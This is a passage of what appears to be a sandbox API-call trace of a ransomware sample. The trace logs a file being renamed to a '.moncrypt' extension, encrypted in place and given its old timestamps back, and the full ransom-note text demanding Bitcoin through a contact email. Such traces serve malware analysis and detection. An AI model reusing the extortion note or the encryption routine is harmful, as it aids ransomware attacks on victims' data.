ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.984] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0053.984] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0053.984] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.984] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.984] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.984] GlobalUnlock (hMem=0x44000c) returned 0 [0053.984] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.984] GlobalLock (hMem=0x440004) returned 0x557b88 [0053.984] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.984] GlobalUnlock (hMem=0x44000c) returned 0 [0053.984] GlobalHandle (pMem=0x557b88) returned 0x440004 [0053.984] GlobalUnlock (hMem=0x440004) returned 0 [0053.984] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.985] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0053.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0053.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0053.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 73 [0053.985] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0053.985] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0053.985] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.985] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.985] GlobalUnlock (hMem=0x440004) returned 0 [0053.985] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.985] GlobalLock (hMem=0x44000c) returned 0x557b88 [0053.985] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.985] GlobalUnlock (hMem=0x440004) returned 0 [0053.985] GlobalHandle (pMem=0x557b88) returned 0x44000c [0053.985] GlobalUnlock (hMem=0x44000c) returned 0 [0053.985] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.986] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0053.987] CloseHandle (hObject=0x18c) returned 1 [0053.987] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\я")) returned 1 [0053.988] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 0x54e240 [0053.988] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0053.988] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0053.988] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0053.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", dwFileAttributes=0x20) returned 1 [0053.989] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0053.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.moncrypt")) returned 1 [0053.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0053.990] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.990] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x14c40 [0053.990] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0053.990] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0053.991] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.991] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.991] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.991] GlobalUnlock (hMem=0x440004) returned 0 [0053.992] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0053.992] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.992] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.992] GlobalUnlock (hMem=0x440004) returned 0 [0053.992] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.992] GlobalLock (hMem=0x440004) returned 0x55bb88 [0053.992] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.992] GlobalUnlock (hMem=0x44000c) returned 0 [0053.992] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0053.992] GlobalUnlock (hMem=0x440004) returned 0 [0053.992] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.992] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.992] GlobalUnlock (hMem=0x440004) returned 0 [0053.993] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0053.993] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.993] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.993] GlobalUnlock (hMem=0x440004) returned 0 [0053.993] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0053.993] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0053.993] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0053.993] SetFilePointer (in: hFile=0x18c, lDistanceToMove=85056, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x14c40 [0053.993] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0053.993] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0053.993] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.004] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.004] CloseHandle (hObject=0x18c) returned 1 [0054.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.006] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.006] CloseHandle (hObject=0x18c) returned 1 [0054.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0054.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.006] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.006] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.006] GlobalUnlock (hMem=0x440004) returned 0 [0054.007] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.007] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.007] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.007] GlobalUnlock (hMem=0x440004) returned 0 [0054.007] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.007] GlobalUnlock (hMem=0x44000c) returned 0 [0054.007] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a528, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0054.007] GetLastError () returned 0x2 [0054.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.009] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0054.010] CloseHandle (hObject=0x18c) returned 1 [0054.010] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0054.010] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.010] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.010] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.010] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.010] GlobalUnlock (hMem=0x44000c) returned 0 [0054.010] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.010] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.010] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.010] GlobalUnlock (hMem=0x44000c) returned 0 [0054.010] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.010] GlobalUnlock (hMem=0x440004) returned 0 [0054.010] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.011] CharLowerBuffW (in: lpsz="SLATE.INF", cchLength=0x9 | out: lpsz="slate.inf") returned 0x9 [0054.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", lpUsedDefaultChar=0x0) returned 71 [0054.011] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0054.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\SLATE\\SLATE.INF", lpUsedDefaultChar=0x0) returned 4 [0054.011] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.011] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.011] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.011] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.011] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.011] GlobalUnlock (hMem=0x440004) returned 0 [0054.011] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.011] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.011] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.012] GlobalUnlock (hMem=0x440004) returned 0 [0054.012] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.012] GlobalUnlock (hMem=0x44000c) returned 0 [0054.012] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.012] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0054.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", 